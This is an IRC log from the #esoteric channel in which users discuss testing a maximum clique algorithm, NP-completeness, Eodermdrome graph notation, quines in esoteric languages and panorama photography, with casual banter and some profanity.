:augur!unknown@unknown.invalid PRIVMSG #esoteric :i need test graphs that have known maximum cliques < 1268762550 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so i can test a maximum clique algorithm < 1268762559 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, that's not the area of compsci that I work in, unfortunately < 1268762566 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :does the web not help? < 1268762577 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :are they hard to generate? < 1268762578 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :no :( < 1268762590 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :fax: finding the max clique of a graph is NP complete < 1268762602 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :so? :/ < 1268762615 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so its hard! < 1268762618 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, if a problem is NP, its reverse is normally P < 1268762622 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :by definition < 1268762624 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION doesn't see how you got that
< 1268762630 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but it rather depends on what "reverse" means < 1268762631 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :NP complete is hard! < 1268762647 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :besides, even exponential algorithms can run quickly on small enough data sets < 1268762678 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :true, but i need it to run on large graphs :) < 1268762711 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :with upwards of 5000 words < 1268762718 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :maybe even 10000! or 100000! < 1268762726 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :not factorial, mind you. < 1268762740 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :though nurikabe is NP and generating puzzles for that is hard < 1268762747 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :and making sokoban puzzles is an art < 1268762758 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i'd make _your_ sokoban puzzle < 1268762761 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :if you know what i mean < 1268762762 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :;o ;o ;o < 1268762808 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :fax: generating random Sokoban puzzles is something I'm interested in myself < 1268762809 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i need test graphs tho < 1268762825 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so satisfy to myself that i havent just proven that P = NP < 1268762825 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1268762830 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :not necessarily particularly good ones, but they can't be trivial < 1268762840 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :augur: do you have a P-time algo, or think you do? < 1268762854 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it's probably easier to poke holes in the algo by looking at it than by trying to create test graphs < 1268762869 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :its P on complete graphs up to 300 nodes, or so it looks < 1268762879 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i _dont_ know if its P on non-complete graphs. < 1268762884 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :maximum clique for complete graphs is easy < 1268762891 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :true ;) < 1268762895 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :ais523, I make a game called 'multiban', which is sokoban with n-players (over the internet) < 1268762899 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :its especially easy if you know its a complete graph! < 1268762905 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but i dont assume that it is. < 1268762912 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :the question is what its runtime is on non-complete graphs < 1268762935 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it's great fun because the game really is about collective thought -- but you run out of levels quickly :( < 1268762941 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :and since theres a LOT of graphs with n nodes, this is not an easy thing for me to check < 1268762957 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :infact, theres like < 1268762966 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :what 2^(n^2) graphs with n nodes? < 1268762984 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :adjacency matrix is n^2, and each of the cells can be filled or not, so 2^(n^2) < 1268763014 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :or 2^(0.5 n^2) if you require that the graph is undirected < 1268763053 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :anyway, here's a test case from Wikipedia: abcdaedfecfgbfega < 1268763063 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :(I take it you're familiar with Eodermdrome graph notation?) < 1268763073 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :no < 1268763085 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric ::O < 1268763093 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but this is #esoteric! < 1268763098 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :OH MY GOD THIS IS AWESOME < 1268763101 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :http://esolangs.org/wiki/eodermdrome < 1268763102 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :http://esolangs.org/wiki/Eodermdrome < 1268763104 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hehee < 1268763105 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :yes im there now :P < 1268763118 0 :tombom!tombom@wikipedia/Tombomp JOIN :#esoteric < 1268763118 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :you're so narcisistic, ais523 :P < 1268763135 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I'm not entirely sure if I translated it properly from the Wikipedia article, but it's so much easier to send over IRC than trying to send a graph normally < 1268763146 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :can you give this graph to me in non-eodermdrome notation? :P < 1268763156 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION how to pronounce Eodermdrome
< 1268763179 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :or is it just that adjacency in the string = adjacency in the graph? < 1268763185 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION pronounces it "E. O. derm drome"
< 1268763187 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :augur: that's it < 1268763189 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :ok < 1268763202 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I've only ever seen the word written, though < 1268763229 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it was originally coined in a wordplay book, to try to create a minimal-length word that lead to a nonplanar graph < 1268763481 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :ais523: i presume this graph is not directed, yes? < 1268763488 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yep, undirected < 1268763496 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :ok < 1268763628 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :btw, which graph is this that you found? like, where is it on the wiki page < 1268763643 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :top-right corner < 1268763651 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :on http://en.wikipedia.org/wiki/Special:Search?go=Go&search=Clique_problem < 1268763657 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oh ok, the bluedots one < 1268763668 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :wheres it say this is known to be hard? < 1268763679 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :the graph? or the problem? < 1268763684 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :the graph < 1268763717 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it isn't known to be hard; it's just known to have a maximum clique of 4 < 1268763728 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and that's what you asked for < 1268763735 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :graphs with known maximum cliques < 1268763739 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oh. no i need lots of test cases tho :p < 1268763777 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :generate them at random? by definition, you can test if an answer to an NP-complete problem is correct in P-time < 1268763780 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :not just _one_ but lots of them, with lots nodes, so i can test the algorithm < 1268763807 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i dont know how to generate these things at random. < 1268763816 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :augur, why don't you just prove the algorithm correct? < 1268763818 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :graphs? that's trivial < 1268763821 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i dont know how to, fax! < 1268763832 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :ais523: well, i could generate _graphs_ at random < 1268763843 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :did you just implement a random algorithm them realize it solves an NP problem in P? :))) < 1268763845 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but i need to make sure that the algorithm isnt just hitting easy graphs < 1268763869 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, there are a few seems, but way less than in the one yesterday. Some image data at the edges is cut, and a few tiny (5x10 pixels or so) holes along some edges was filled in in gimp) http://omploader.org/vM3VvNA < 1268763871 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :no, i implemented the algorithm intended to solve one problem, and then a prof at the school pointed out that it seems to be solving the maximum clique problem < 1268763894 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so its not a _random_ algorithm < 1268763894 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric ::p < 1268763925 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hmm < 1268763926 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :augur: why don't you just show us the algorithm, and we can find flaws in it / show it isn't P-time? < 1268763946 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but then you'll steal my discovery! D: < 1268763948 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :if it really did solve the maximum clique problem in P-time, your prof would have claimed the money for himself already < 1268763951 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, irritatingly enblend placed the seam over that door so a blurry image of it was included. There is another sharper image of it.. < 1268763959 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i didnt show him the algorithm < 1268763963 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :just the description of the original problem < 1268763970 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i havent mentioned that i think its PTIME. < 1268763974 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :im not _that_ stupid < 1268763981 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :"lol i proved P = NP 8D" < 1268763983 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION decided that
< 1268764023 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :ill show you guys the algo when i get back. i have to go pick up some cookies. < 1268764031 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :be back in an hour or two < 1268764032 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :<3 < 1268764045 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :strange, getting to the cookie jar taking that long < 1268764062 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :no, these cookies were delivered < 1268764064 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :augur is in no rush < 1268764076 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :huh < 1268764077 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :and are sitting in a UPS depot in Laurel, MD < 1268764082 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I hate UPS < 1268764089 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :bbl < 1268764092 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :http://www.cherylandco.com/ << this kind. gooood cookies. < 1268764093 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :wow augur, it must be hard to get cookies where you are < 1268764104 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1268764105 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :its... < 1268764105 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :They weren't delivered very well. < 1268764106 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :P HARD < 1268764108 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :8D < 1268764117 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1268764125 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :PSPACE-hard. < 1268764138 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :shut your face you ruined my joke < 1268764145 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :PSPACE-complete is the bounded equivalent of TC, isn't it? < 1268764159 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cookie jar hard? < 1268764161 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Something like that. < 1268764164 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :bbl really < 1268764178 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :There was a paper titled "Sokoban is PSPACE-complete" that essentially showed that you can make a Sokoban computer. < 1268764198 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Yay, my computer is PSPACE-complete. :P < 1268764215 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: strangely, someone linked me to that a few days ago < 1268764286 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Speaking of linking to stuff: http://www.jaapsch.net/puzzles/ < 1268764312 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Jaap < 1268764319 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Jaap's Puzzle Page, the most important page ever. < 1268764376 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: because? < 1268764403 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Well, it isn't really. < 1268764454 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :augur: anyway, write a P-time algorithm for checking if an alleged clique is in fact maximal < 1268764494 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :(that's easy: check all subsets of the graph that are one element larger than the alleged clique to see if they're cliqued; that's P-time with a rather horrible exponent) < 1268764530 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :7"the most important page ever" lol < 1268764726 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, what complexity class is finding a maximal cycle in a graph? < 1268764735 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Little did fax know that eir subconscious had begun counting down to eir death. Eir next typo will involve the number 6. < 1268764893 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION terabytes oowriggle
< 1268765210 0 :ais523!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268766477 0 :hiato!~fdulu@dsl-245-63-253.telkomadsl.co.za JOIN :#esoteric < 1268766524 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :Hey all, got a new esolang, and I'm struggling to write a quine in it. Does a language have to be TC to have quines? < 1268766545 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :HQ9+ has quines and isn't TC < 1268766557 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :But that is a language feature. Ok, non-trivial quines < 1268766581 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Still no. < 1268766582 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Probably not, but I can't prove it. < 1268766597 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hiato new esao lang? < 1268766597 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Take any language with a quine. Figure out how much memory it uses. Restrict it to that much memory. < 1268766603 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :Ok, cool, then I guess it's programmer error here :P < 1268766616 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: Right, but that requires a quine to reduce the memory < 1268766623 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :fax: yep, I'll upload the spec now :) < 1268766624 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Well, that doesn't imply that your language has quines < 1268766637 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :No, but I seem to recall a proof that a TC language with output capabilities sufficient to output itself must have a quine. < 1268766656 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it's pretty much one quine that you can rewrite into whatever language < 1268766672 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :hiato: well, the language with the memory restricted, which is not TC, still has a quine. < 1268766675 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :there was something about fix point thereom, but I can't remember what it meant or why it was important < 1268766690 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :So, a non-TC language with a non-trivial quine. < 1268766709 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: well, memory isn't really the issue here, it's string stuff and delimeters, actually, only delimeters < 1268766716 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION shrugs.
< 1268766720 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :C has quines, and C is not TC. < 1268766730 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Heh, lovely C. < 1268766751 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: right, but it can easily operate on strings, and it has the augmented print function %c, %i etc < 1268766762 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :C is not TC? < 1268766776 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :fax: Mandated finite memory. < 1268766788 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION thinks it's probably best to keep quite about this now, sign, C again
< 1268766808 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :fax: there was that "discussion" under bit-bit-jump < 1268766817 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :iirc < 1268766934 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :fax: Pointers must be a multiple-of-char size. A char must have a bound, and that bound must be storable in a char. Thus, C has finite memory. QED. < 1268767105 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :http://dpaste.com/172601/ < 1268767110 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :http://www.jaapsch.net/puzzles/morph.htm < 1268767128 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :sorry, the explanation is terrible, but the source should clear it up < 1268767299 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :the problem is that # (as a string, so as to avoid execution) needs to be escaped viz., :# Then, : needs to be escaped and it's a horrible route from there on in < 1268767442 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :unless I'm going about it in the wrong manner, and perhaps the stack should hold individual tokens instead of strings < 1268767446 0 :TehZ!~573bcf17@gateway/web/freenode/x-wptdgdilcpyxueyy JOIN :#esoteric < 1268767468 0 :TehZ!unknown@unknown.invalid PRIVMSG #esoteric :No chat? :( < 1268767490 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :何？ < 1268767491 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :heyo < 1268767503 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :それが本当にチャネルだ！ < 1268767507 0 :TehZ!unknown@unknown.invalid PRIVMSG #esoteric :"何?"?????? < 1268767516 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Sorry. < 1268767521 0 :TehZ!unknown@unknown.invalid PRIVMSG #esoteric :np < 1268767527 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Switching from Japanese manga to English chatroom = possible confusion. < 1268767528 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1268767541 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :uorygl uragirl? < 1268767557 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I have to find some puzzles for you < 1268767558 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :ok who wants to see my little algo now? < 1268767576 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :What, people manage to make that mistake even with this spelling of my name? :P < 1268767605 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :la uorygl nakni < 1268767620 0 :TehZ!unknown@unknown.invalid QUIT :Client Quit < 1268767621 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: That's a very long-looking corridor. < 1268767703 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, it is very long < 1268767748 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION cannot believe someone would have the time to do this http://en.wikipedia.org/wiki/Tupper%27s_self-referential_formula
< 1268767770 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, to the right it continues for another, wider, "section" like the one I took the photo in. < 1268767778 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :err < 1268767780 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :not wider, longer < 1268767782 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I meant < 1268767885 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :well, it seems that Quine -> TC may not hold, but TC -> quine does : "By the fixed point theorems in logic, such a program exists in any Turing-complete language in which printing..." < 1268767903 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :* hiato cannot believe someone would have the time to do this http://en.wikipedia.org/wiki/Tupper%27s_self-referential_formula <--- .... wow... < 1268767930 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Yep, I'm still picking my jaw up. I mean, I knew you could do relations, but encoding bitmaps? < 1268767947 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, well, plotting relations is common. < 1268767953 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, http://www.youtube.com/watch?v=ONYN8yAEfpA http://www.youtube.com/watch?v=uzgnpf2URhQ http://upload.wikimedia.org/wikipedia/en/4/42/Haberdasher-anm-01.gif < 1268767954 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well, not as common as functions < 1268767955 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :bbl < 1268768148 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I'll use the fact that I'm unimpressed by Tupper's self-referential formula as a status symbol. :P < 1268768169 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :how can you not be impressed by that? Do you know how to make it? < 1268768186 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :More or less. < 1268768218 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :i guess it's basically a less elegant and 2D version of godels beta function... < 1268768322 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oh! "The formula was first published in his 2001 SIGGRAPH paper that discusses methods related to the GrafEq formula-graphing program he developed." < 1268768328 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I learned taylor series from this program < 1268768501 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :uorygl did you see the links I gave you < 1268768749 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric ::[ < 1268768835 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :guys < 1268768849 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :should i use haskellish notation for my algorithm, even tho its written impertively? < 1268769314 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :augur, I'm not sure that makes terribly that much sense to me < 1268769329 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric ::p < 1268769332 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION ok, that is how not to write a sentence
< 1268769340 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :(mine that is) < 1268769388 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :and augur, what is exactly is your algorithm? < 1268769426 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :a relativized maximal clique algo < 1268769456 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :right. sure it is. does it make coffee? otheriwse I would say your deltas are off a tad < 1268769510 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Relativized, you say? < 1268769628 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1268769631 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :relativized. < 1268769648 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :that is, the largest clique that some node is in < 1268769658 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :not the largest clique in the graph but just the largest clique a given node is in < 1268769671 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Couldn't you find that by dropping the node and all the nodes it's not connected to? < 1268769825 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :uorygl?!??!?!?!? < 1268769852 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :geez I went and looked it up in my book for you and you're just ignoring me < 1268769986 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :wanker < 1268770124 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :uorygl fuck you < 1268770135 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: no, because that doesnt mean that they form a clique < 1268770236 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: http://wellnowwhat.net/linguistics/node-relative%20maximal%20clique.pdf < 1268770237 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1268770349 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :don't youknow it's rude to ignore people < 1268770399 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i need to go buy some spraypaint. bbiaf guys <3 < 1268770409 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I mean by doing that and then finding the maximal clique of the result. < 1268770417 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :ey? < 1268770438 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oh, you mean taking the subgraph of G that contains the node and all its neighbors < 1268770451 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :(and thus all the edges that only include those neighbors) < 1268770468 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :and then finding the maximum clique in that? < 1268770475 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :The subgraph that contains the node's neighbors only, not the node itself. < 1268770483 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :that still doesnt guarantee it, because the biggest clique in that might not include the node itself < 1268770498 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wonders how uorygl leaned to be such a bastard
< 1268770505 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :no but it must, right < 1268770510 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :sure then i guess that would work < 1268770518 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :if you included the node, crucially < 1268770520 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Surely any clique in that can be extended to include the node itself. < 1268770528 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :right < 1268770534 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :anyway, check out the algo while im off doing stuff < 1268770536 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :see ya <3 < 1268770801 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1268770837 0 :Slereah!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1268771060 0 :comex!unknown@unknown.invalid NICK :comex_ < 1268771061 0 :comex_!unknown@unknown.invalid NICK :comex < 1268771073 0 :comex!unknown@unknown.invalid NICK :comex_ < 1268771075 0 :comex_!unknown@unknown.invalid NICK :comex < 1268771172 0 :Slereah!~Slereah@ANantes-259-1-18-23.w92-135.abo.wanadoo.fr JOIN :#esoteric < 1268771536 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, any such corridors at your university btw? < 1268771552 0 :Gracenotes!unknown@unknown.invalid QUIT :Quit: Leaving < 1268771622 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I guess the main building corridors look a bit like that, though not quite that.. how should I put it, open. < 1268771672 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, I think the eqvirectangular (?) projection is partly to blame for that < 1268771710 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :equirectangular that is < 1268771717 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(just checked the spelling) < 1268771742 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, not that cylindrical projection looks much better, and rectilinear is just not feasible with that fov < 1268771917 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, according to hugin I have ~185° fov < 1268771964 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, actually more (214), but not all was usable < 1268772089 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(not usable, as in photo ends up looking not very nice due to corridor not being in "center") < 1268772109 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(oh and all there was to see was the power cable to my laptop lying over a table basically < 1268772113 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :) < 1268772152 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :some day I should try to take a 360° panorama < 1268772163 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :also I wonder if that really is a degree sign, or if it is a ^0... < 1268772210 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm... °⁰ well degree sign 